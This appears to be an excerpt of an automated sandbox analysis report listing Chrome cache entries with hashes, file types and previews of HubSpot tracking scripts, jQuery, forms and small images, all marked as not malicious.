SSDEEP:	1536:9E9kTUaE9bVonZXYNtWu2scVDXYRClzlIgQXyjXlkaioEFWOqDw6usT5aXsdtkVV:MND2LlzlIgQX28XsYce
MD5:	918F7525F5245C3CDA402240432F2734
SHA1:	4E3314D19811D86678D580951BD768F4B3C58FCB
SHA-256:	EBFEA2E0BD9242789D2BC6098123618347945EBEC5644E1C6250A3E1BBC67329
SHA-512:	0F0F58DE9DDF499F84CDD1FEFA2EB27FF619E9833623B2C3C0E6D8B3D12D7A320569384EE607D5FE9E5530DD722CBE44C87470002B1F029ED402ED125A3ABC70
Malicious:	false
URL:	https://js.hs-analytics.net/analytics/1736506800000/48528028.js
Preview:	/** . * HubSpot Analytics Tracking Code Build Number 1.1194. * Copyright 2025 HubSpot, Inc. http://www.hubspot.com. /.var _hsq = _hsq \|\| [];._hsq.push(['setPortalId', 48528028]);._hsq.push(['trackPageView']);._hsq.push(['setLegacy', false]);._hsq.push(['addHashedCookieDomain', '224894981']);._hsq.push(['addHashedCookieDomain', '233546881']);._hsq.push(['addHashedCookieDomain', '20629287']);._hsq.push(['addHashedCookieDomain', '251652889']);._hsq.push(['addHashedCookieDomain', '138264111']);._hsq.push(['embedHubSpotScript', 'https://js-na1.hs-scripts.com/48528028.js', 'hs-script-loader']);._hsq.push(['initEventVisualizerScript']);._hsq.push(['setTrackingDomain', 'track.hubspot.com']);./* _anon_wrapper_ */ (function() {./! For license information please see hsa-prod.js.LICENSE.txt */.(hstc=hstc\|\|{}).JS_VERSION=1.1;hstc.ANALYTICS_HOST="track.hubspot.com";(hstc=hstc\|\|{}).Math={uuid:function(){if(window.navigator.userAgent.indexOf("googleweblight")>-1)return hstc.Math._mathRandomUuid()

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	563542
Entropy (8bit):	5.678158430606461
Encrypted:	false
SSDEEP:	6144:k/BB2agf6gELfQuLfQethykggjunRI2MqlL6ojtm03L1GgX9in9tYCiTKOnTK8L6:3Tf1Gmo/rrOg
MD5:	E9829C28FAE41E369BD948323746CC37
SHA1:	D63D18D752A908CE7108C373BE502457513792A5
SHA-256:	7DA57A437A999E2503178063A85CA9557211686F50D7671DB0142A2CEB3095D2
SHA-512:	0B54AC746F26BCE044DC299AFE0599365C5BFA3374C0F3CB934A8287D380A872AD28DC22855834C9C698443D779A2A35F7473FE7AC9116D145CE2BC987E69CB0
Malicious:	false
URL:	https://js.hsleadflows.net/leadflows.js
Preview:	!function(){var e,a,t;null==window.leadflows&&(window.leadflows={});null==(e=window.leadflows).preservedLeadinGlobals&&(e.preservedLeadinGlobals={});null==(a=window.leadflows).preservedOtherGlobals&&(a.preservedOtherGlobals={});t=function(e,a){a[e]=window[e];try{delete window[e];if(window[e])return window[e]=void 0}catch(e){}};window.leadflows.preserveGlobals=function(e,a){var n,i,l,o,s;for(n=0,l=e.length;n<l;n++){s=e[n];t(s,leadflows.preservedLeadinGlobals)}if(a)for(i=0,o=a.length;i<o;i++){s=a[i];t(s,leadflows.preservedOtherGlobals)}}}();leadflows.preserveGlobals(["hns","hns2","jade","I18n","Pikaday","reqwest"],["exports","define"]);window.leadflows=window.leadflows\|\|{};window.leadflows.version="lead-flows-js/static-1.2121/".replace(/\/(static(-\d+\.\d+)?)\//,"-$1");window.MutationObserver=window.MutationObserver\|\|function(e){"use strict";function a(e){this._watched=[];this._listener=e}function t(e){!function t(){var n=e.takeRecords();n.length&&e._listener(n,e);e._timeout=setTimeout(t

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1322)
Category:	downloaded
Size (bytes):	13424
Entropy (8bit):	5.039991278243363
Encrypted:	false
SSDEEP:	192:SiUKUVZV3Go0KsMRZw6CqR3H9+iydbLsuyiaaDaKtGvuDx9hBxBz38awOra:SiSH370HMRZjXWL85ixzBjVwma
MD5:	75C4729E716A22878A0D326B83FF45F4
SHA1:	91E58F51CFD6A0237EE7AD804921DA58E513F868
SHA-256:	5669768BBB080793498BEB71F69CC2CAAA6D1C44374AD87BB9AEDCD80E29D35A
SHA-512:	0122A07D2275DEFF1FD226ED102D98891F68A3C360835BB9682F54F60431E2E5E7775D770E7C2A8300029636CCC5760C9B5EA0638F8AA81F0B717B9887CCFFBE
Malicious:	false
URL:	https://share.hsforms.com/1iP-GWQvvT0CvU3TDKoL6Swsw4gs
Preview:	<!DOCTYPE html><html lang="en"><head><meta charSet="UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/><link rel="preconnect" href="https://static.hsappstatic.net" crossorigin="anonymous"/><title>Form</title><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="robots" content="noindex, nofollow"/><meta name="googlebot" content="noindex"/><link rel="dns-prefetch" href="https://fonts.gstatic.com"/><style>body{margin:0;background:#f4f8fa}.container{display:none;width:800px;margin:0 auto;margin-top:30px}.skip-to-form{left:-9999px;position:absolute}@media only screen and (max-width:800px){.container{width:100%}}.container.error,.container.loaded{display:block}.container.loaded{background:#fff;box-shadow:0 4px 8px 0 rgba(53,105,128,.3),0 6px 20px 0 rgba(165,200,213,.41)}#form-target{padding:40px}.hs-form_free.hs-form__thankyou-message{font-size:38px;text-align:center}.hs-form_free.hs-form__thankyou-message .hs-form__virality__link{font-size:18p

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.841682612181472
Encrypted:	false
SSDEEP:	3:YVKBEiFCThRL2KIhfwcP2xR2GXEqRWJ6jLZHJqdxN:YiLC1bU2mn6jLZpO
MD5:	18243148B8FF1BCDEB70F893BA4CBE42
SHA1:	77B8BB723AD5B478FF3067624A03900D9D13EEE3
SHA-256:	6A76FA493C3631442387FABA1EA9B80D1F267682601158806704EAD3DF3B029B
SHA-512:	1C9474BEE88BE2C71B05E8A2EC58A679BE2499C07F69E34790C19976A0E8BCB0036ACAE2A33707E057C7EF67BFBD0B486F6A215345BB593585214D62FEB32182
Malicious:	false
Preview:	{"portalId":48528028,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":1830424450}

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64996)
Category:	dropped
Size (bytes):	72788
Entropy (8bit):	5.4106297571044735
Encrypted:	false
SSDEEP:	1536:zyLbbg0Ac17URA3m5viI+MUdl7Jbx1UNA08vnTEjU18EOTQBs2CgTBQK:UI+MAl9b7UiTrm7T7E
MD5:	B4BAF08732A6BF9BF95A9D42B26DCE28
SHA1:	2DF3CF39480737A36744FA79D2A77CDCFDD6C194
SHA-256:	03D332FCDCBDEE12DED58DDC7ACBBBC6D4622FDFC883F1620DFA5726F8607D24
SHA-512:	94DBBE91FC2CD60613811DA6CD64BD3C49546DDD042A8E982221D481B499FE340D93C398AC8D9FFB2F056D71D88D9FFAC78E8E4FF4B792DA237BD35858919274
Malicious:	false
Preview:	var _hsp = window['_hsp'] = window['_hsp'] \|\| [];._hsp.push(['setBannerSettings', {}]);._hsp.push(['setCustomizationSettings', {}]);._hsp.push(['addCookieDomain', '.hsforms.com']);._hsp.push(['addCookieDomain', '.hs-sites.com']);._hsp.push(['addCookieDomain', '.hubspot.com']);._hsp.push(['addCookieDomain', '.hubspotpagebuilder.com']);._hsp.push(['addCookieDomain', '.fjordyachts.de']);._hsp.push(['setApiBaseUrl', 'https://js.hs-banner.com/v2']);./*. HubSpot Cookie Banner Code Copyright 2025 HubSpot, Inc. http://www.hubspot.com. */.!function(){var e=[,function(e,t){var n;function o(){var e,t;t=arguments[0]\|\|{};this.config={};this.config.elements=t.elements?t.elements:[];this.config.attributes=t.attributes?t.attributes:{};this.config.attributes[o.ALL]=this.config.attributes[o.ALL]?this.config.attributes[o.ALL]:[];this.config.allow_comments=!!t.allow_comments&&t.allow_comments;this.allowed_elements={};this.config.protocols=t.protocols?t.protocols:{};this.config.add_attributes=t.add_att

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.407997267822657
Encrypted:	false
SSDEEP:	12:6v/7iwUdid0ubtKPwr8PhE5Xw5fd+l4JAjdy13PK2jDRnb2l4zx7zHbgnehzCmXc:nodHbIPexXw5fd+qJGR2jDRnbD9grmXc
MD5:	5868D13D177C12806699FD45E2EADD44
SHA1:	4554F11A4402C13E0B56A3036FD84F14EE1787CD
SHA-256:	69C2681C4ABB204C8961B8E7A1055591C1F5393F620B6F32C22213656641E498
SHA-512:	07BE9984432B627540FA809AB3DE8D54C11791D5CF8DE3A051829102B30704C7D13FD4A7AA917D93CE6D18BCEEBA9042F837059C64A0856BED073408F3D34D38
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...MIDATx...;hSQ....4m$.5J.....c..P..)........V'A.dq..).H'.V..C......4".V.t.8(J.R.........&7W.........%......O....)...........!.1.;..sX.....<A.)..m>._.M.i....Q..h..8...L.....,......!.S8..K..h.8...t......!.E?Z]...k.7.6..1.8.....F....R..M&>......kt._....y.....q._ ..>...P@.....$.?q....8N...s.D.a.A.".2....lT .?..v.!..". .B\..2.".Kp..O....!........D)c..D....u......w.r.m....g.2....=..p.F].. J..... .<.uj/;.!.&..Q..?]...q..G...;0.Q.".H]._!.-4...7.'\|.....zP.(%....}pN.o.1."Ds.QS...;m...WH..~a$ak..<^.7.a......r..Q........F1.s...o..D3..u~..M....C4.X.3..O3e...... r..........r..%.`<.q......IEND.B`.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64738)
Category:	dropped
Size (bytes):	69909
Entropy (8bit):	5.298073585644622
Encrypted:	false
SSDEEP:	1536:9E9kTUaE9bVonZXYNtWu2scVDXYRClzlIgQXyjXlkaioEFWOqDw6usT5aXsdtkVV:MND2LlzlIgQX28XsYce
MD5:	918F7525F5245C3CDA402240432F2734
SHA1:	4E3314D19811D86678D580951BD768F4B3C58FCB
SHA-256:	EBFEA2E0BD9242789D2BC6098123618347945EBEC5644E1C6250A3E1BBC67329
SHA-512:	0F0F58DE9DDF499F84CDD1FEFA2EB27FF619E9833623B2C3C0E6D8B3D12D7A320569384EE607D5FE9E5530DD722CBE44C87470002B1F029ED402ED125A3ABC70
Malicious:	false
Preview:	/** . * HubSpot Analytics Tracking Code Build Number 1.1194. * Copyright 2025 HubSpot, Inc. http://www.hubspot.com. /.var _hsq = _hsq \|\| [];._hsq.push(['setPortalId', 48528028]);._hsq.push(['trackPageView']);._hsq.push(['setLegacy', false]);._hsq.push(['addHashedCookieDomain', '224894981']);._hsq.push(['addHashedCookieDomain', '233546881']);._hsq.push(['addHashedCookieDomain', '20629287']);._hsq.push(['addHashedCookieDomain', '251652889']);._hsq.push(['addHashedCookieDomain', '138264111']);._hsq.push(['embedHubSpotScript', 'https://js-na1.hs-scripts.com/48528028.js', 'hs-script-loader']);._hsq.push(['initEventVisualizerScript']);._hsq.push(['setTrackingDomain', 'track.hubspot.com']);./* _anon_wrapper_ */ (function() {./! For license information please see hsa-prod.js.LICENSE.txt */.(hstc=hstc\|\|{}).JS_VERSION=1.1;hstc.ANALYTICS_HOST="track.hubspot.com";(hstc=hstc\|\|{}).Math={uuid:function(){if(window.navigator.userAgent.indexOf("googleweblight")>-1)return hstc.Math._mathRandomUuid()

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	450
Entropy (8bit):	7.495986319404223
Encrypted:	false
SSDEEP:	12:Ca326KFesjKanqSI736KWoOFs2fty/X3hoBaWl:926KllqvnX21y/X3hoB/
MD5:	F48562D7736106E64B3BDEA0A64F67C8
SHA1:	2C82B9A308F0F6B1F0F71DB307367E485645406D
SHA-256:	440209CE5CFBEE5E475E344453B01A92E10FDB34A536E32E8895A766EC1B4E69
SHA-512:	57E665DE3E2362B6C3BE5A6D05EFC4368AB5DA6C899A3BBD5CE10A82DC87DF86993D2D706E49722CE867891E9A063F187E7267D4D7DC3617059FBD26A4D2A6FA
Malicious:	false
URL:	https://static.hsappstatic.net/StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png
Preview:	RIFF....WEBPVP8L..../.......$)...._.tg.<c>3.......f....l.L~..'.m&...m.Ft..3w.... ..~..W-...}B..B..c-..n@.....}T~8-...Z..o...0.?...[....x.HI..X.]}7...N......./....G.?_......c5X..g.....c..@.t...?.)....G.r^.g^z...z........n.O..;2[....6.=.-.Xj..IK.C..\.(.H. 2.R..6..NJB.y.X..?_l.......}S...,...8...............C.ui..P\Mu...2.....s..wQ..f.{..q.V..,fH.....>..M..r...j.c.A....Y*.D.......?..O........4...J..>...TDh.......g.

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	135
Entropy (8bit):	4.841682612181472
Encrypted:	false
SSDEEP:	3:YVKBEiFCThRL2KIhfwcP2xR2GXEqRWJ6jLZHJqdxN:YiLC1bU2mn6jLZpO
MD5:	18243148B8FF1BCDEB70F893BA4CBE42
SHA1:	77B8BB723AD5B478FF3067624A03900D9D13EEE3
SHA-256:	6A76FA493C3631442387FABA1EA9B80D1F267682601158806704EAD3DF3B029B
SHA-512:	1C9474BEE88BE2C71B05E8A2EC58A679BE2499C07F69E34790C19976A0E8BCB0036ACAE2A33707E057C7EF67BFBD0B486F6A215345BB593585214D62FEB32182
Malicious:	false
URL:	https://forms.hscollectedforms.net/collected-forms/v1/config/json?portalId=48528028&utk=
Preview:	{"portalId":48528028,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":1830424450}

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (542)
Category:	downloaded
Size (bytes):	2085
Entropy (8bit):	5.237997746070709
Encrypted:	false
SSDEEP:	48:4QqumpcdywmpUYkpwVyCVzx0rkpwIyCVzAYWtKkpwPrI:dRUcdVIOepxe0GpFePM
MD5:	7D2530E60593C3DA8C5CB504195C20AF
SHA1:	7B199626F18A859E5DACB9B03C43D8ED49ADC727
SHA-256:	0EEB07972D53DC5B2DE1D7B2E5874CF8CAD25D7202F96D363E6581A13FEC8200
SHA-512:	689182206CF0859EE130962955751C9D1761C1403D691E5BAE73498F80F83A3F402C8518E8CC2E7FAA777A66CDE1EF232C57D1BEE201875C1BEB2B2F1DE1A85E
Malicious:	false
URL:	https://js.hs-scripts.com/48528028.js
Preview:	// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0..!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1736506800000/48528028.js",c.type="text/javascript",c.id=e;var n=document.getElementsByTagName("script")[0];n.parentNode.insertBefore(c,n)}}("hs-analytics");.!function(t,e,r){if(!document.getElementById(t)){var n=document.createElement("script");for(var a in n.src="https://js.hscollectedforms.net/collectedforms.js",n.type="text/javascript",n.id=t,r)r.hasOwnProperty(a)&&n.setAttribute(a,r[a]);var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(n,i)}}("CollectedForms-48528028",0,{"crossorigin":"anonymous","data-leadin-portal-id":48528028,"data-leadin-env":"prod","data-loader":"hs-scriptloader","data-hsjs-portal":48528028,"data-hsjs-env":"prod","data-hsjs-hublet":"na1"});.!function(t,e,r){if(!document.getElementById(t)){var n=document.createEl

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 26, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1682
Entropy (8bit):	7.8049111790999754
Encrypted:	false
SSDEEP:	48:xnkyPO2B2nyrFhiUIetQP6JYo7NfVAZmi:xnkyPO2wnyhUHq7JYoZNAZV
MD5:	516A6F8F7E745E7E91471A0DB7F1543D
SHA1:	B13A59004AF2354CF5E113BC35F59DF4ADC95DD9
SHA-256:	BA2420B3319181C3637B19092529959853A613654AD87142D5FB9E8558AE5F46
SHA-512:	9EADDB4887D49753CB1C372461445C89E7526727D4D83D3DEF2A79DDB21315DBC8383B9DA6EDD8E272C39AD0A941F036C86E2DAC3B3D331CF46111704F024F41
Malicious:	false
Preview:	.PNG........IHDR...x.........K.h.... cHRM..z&..............u0...`..:....p..Q<....PLTE...000.........<<<................DDD............666........L..9....0..........aaa777..................TTTn0...............PPP...ppp...rrr...\\\---......###....RR.)) ...ss......0.8$$$.........QQQSSS.......MMJJJAAA.........^^^9........x>....MM......888...&&&zzzyyy)))......www...jjj.j....;;;........mmm___.................6C......]]..........{{....uu.zz.......VV....nn......~~~...hhh......555YYY...[[[...........]]]......>>>...\|\|\|...IIIttt.........999...eee............lllCCC.....................HHH.............................xxx...............vvvcccMMM...WWW...KKK...(((LLL...................===???FFF...........NNN...............!!!XXX...444...222...bbb ...iii.........S.....rIDATx....S.G...O.%..$.4..4.h..........6n...w=..........8.h{................#].=x...\..V^....[u.s.b%.2F..BFy\|a....e..a.%...~..!...G.;..D....3.?.8..7..<.i...ii5..3..^...S..)..[.V...d....[~B..jk.............g.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:H+rYn:D
MD5:	F1C9C44E663E7E62582E3F5B236C1C72
SHA1:	E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
SHA-256:	D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
SHA-512:	19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkBPvGmeAceXRIFDTcwqTA=?alt=proto
Preview:	CgkKBw03MKkwGgA=

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3396 x 1920, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	78578
Entropy (8bit):	7.258970602060274
Encrypted:	false
SSDEEP:	1536:k4iIwz9HmGeKV5FrZuUDPA3Ae3ItuR30nAVO4P8J:piIkGZ+ZsJ4YR30ePG
MD5:	DF3FCD00450A5DF91784D4B660F45635
SHA1:	6A0CDB6D0FD548268A73E4465C47014A2F84B394
SHA-256:	D2DA84EB488F0B8B31B698E71E0312DCB643BCF2B386B1CBBE6C021395C3E535
SHA-512:	1731E76807C76B4FFF6764E5C09691776FC27EFBC805D1D6C14B899F464E480106140F5E4BA716BF2D69E04FAC2C7A8628832E92B54B65E8FD605F3D004DC67A
Malicious:	false
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png
Preview:	.PNG........IHDR...D.........3;+.....sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx...!.. ..0..X..I.................@g............;3............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13..

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1066
Entropy (8bit):	7.74914317385723
Encrypted:	false
SSDEEP:	24:w2EVz/FgNUw9Uhw5W1Yp9n2+fzyjlIXF5Q8qb+mlg:wNEU+Vw42kF9mlg
MD5:	39C2507040BBF2E162905D83A515234B
SHA1:	3F4C31D767926E19FABA3E2AB5E8A835CBBD5194
SHA-256:	2BC63FEE9DDADD00498B633A12E61DA87811E22740B91AFCC5EADD752757F585
SHA-512:	29C44D22A8185692F16B91A4D80B83321E270181C4C323BC3841FB4FE61F5DCCA716B67A29A4FD14BEA815EC56CB7BBA314DA5ABB9B2B15CA0A9ABA8117AF439
Malicious:	false
URL:	https://48528028.fs1.hubspotusercontent-na1.net/hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png
Preview:	RIFF"...WEBPVP8L..../w@....m.$E..=.m.m.m.m..6.....Y~m.)....@...AtXswh.I.n.....'.QQm....74.D..hfI . .?..T.O...?{..3..Q...i..,\|.@J.Q/\|...y[.a!.....S...n\|G.K...'....(...).....MYxy....\|T....[[[;u5t.K$.S.l..:w..'>.?AF..6.....=...mB..o..K.5\|.7...[\|.W..c.D.'...td/~........-..,.09.3.ie......[.'......7....H..I7..D...........ZbB.&G...3....'z..:.n&..e.A.At..2.'P..M.\..i.\|.....s..+...y..Y.............&D../p#.......z.?0nn....V......1......(..-%.{...p..F....X.I.......#i 3..n.X..<~EF..B.u.......Gj...'...Oy..\P=.Iz.gS.".(b.43t`8..5.)&...\...S......s.i...H.j.o}..a..q...."sj .......U...v.W.=0.>_.,I./...t.g.\|. ......zV#.......0>..[b........@..B....pv.......4+t`8......49..........F......?....p,.Z..y.X.g#.f..K.4fz.........).@...IZ...1....).._..lNt.m8...,...[.......=.p!3.GR.@.8n.L:B....<..5_q)9......r:..Q.t;...M-5.....#.#.V.1.`..^`o..>.]..Kcq39.P..1?S2z.e....p.bv6D.H.g2<......X....MI.c....r6......M.....D.Hz...@WV..^.....D..8..E.y..q.)..#.w..H.._..1....bt/...-.

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64996)
Category:	downloaded
Size (bytes):	72788
Entropy (8bit):	5.4106297571044735
Encrypted:	false
SSDEEP:	1536:zyLbbg0Ac17URA3m5viI+MUdl7Jbx1UNA08vnTEjU18EOTQBs2CgTBQK:UI+MAl9b7UiTrm7T7E
MD5:	B4BAF08732A6BF9BF95A9D42B26DCE28
SHA1:	2DF3CF39480737A36744FA79D2A77CDCFDD6C194
SHA-256:	03D332FCDCBDEE12DED58DDC7ACBBBC6D4622FDFC883F1620DFA5726F8607D24
SHA-512:	94DBBE91FC2CD60613811DA6CD64BD3C49546DDD042A8E982221D481B499FE340D93C398AC8D9FFB2F056D71D88D9FFAC78E8E4FF4B792DA237BD35858919274
Malicious:	false
URL:	https://js.hs-banner.com/v2/48528028/banner.js
Preview:	var _hsp = window['_hsp'] = window['_hsp'] \|\| [];._hsp.push(['setBannerSettings', {}]);._hsp.push(['setCustomizationSettings', {}]);._hsp.push(['addCookieDomain', '.hsforms.com']);._hsp.push(['addCookieDomain', '.hs-sites.com']);._hsp.push(['addCookieDomain', '.hubspot.com']);._hsp.push(['addCookieDomain', '.hubspotpagebuilder.com']);._hsp.push(['addCookieDomain', '.fjordyachts.de']);._hsp.push(['setApiBaseUrl', 'https://js.hs-banner.com/v2']);./*. HubSpot Cookie Banner Code Copyright 2025 HubSpot, Inc. http://www.hubspot.com. */.!function(){var e=[,function(e,t){var n;function o(){var e,t;t=arguments[0]\|\|{};this.config={};this.config.elements=t.elements?t.elements:[];this.config.attributes=t.attributes?t.attributes:{};this.config.attributes[o.ALL]=this.config.attributes[o.ALL]?this.config.attributes[o.ALL]:[];this.config.allow_comments=!!t.allow_comments&&t.allow_comments;this.allowed_elements={};this.config.protocols=t.protocols?t.protocols:{};this.config.add_attributes=t.add_att

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	563542
Entropy (8bit):	5.678158430606461
Encrypted:	false
SSDEEP:	6144:k/BB2agf6gELfQuLfQethykggjunRI2MqlL6ojtm03L1GgX9in9tYCiTKOnTK8L6:3Tf1Gmo/rrOg
MD5:	E9829C28FAE41E369BD948323746CC37
SHA1:	D63D18D752A908CE7108C373BE502457513792A5
SHA-256:	7DA57A437A999E2503178063A85CA9557211686F50D7671DB0142A2CEB3095D2
SHA-512:	0B54AC746F26BCE044DC299AFE0599365C5BFA3374C0F3CB934A8287D380A872AD28DC22855834C9C698443D779A2A35F7473FE7AC9116D145CE2BC987E69CB0
Malicious:	false
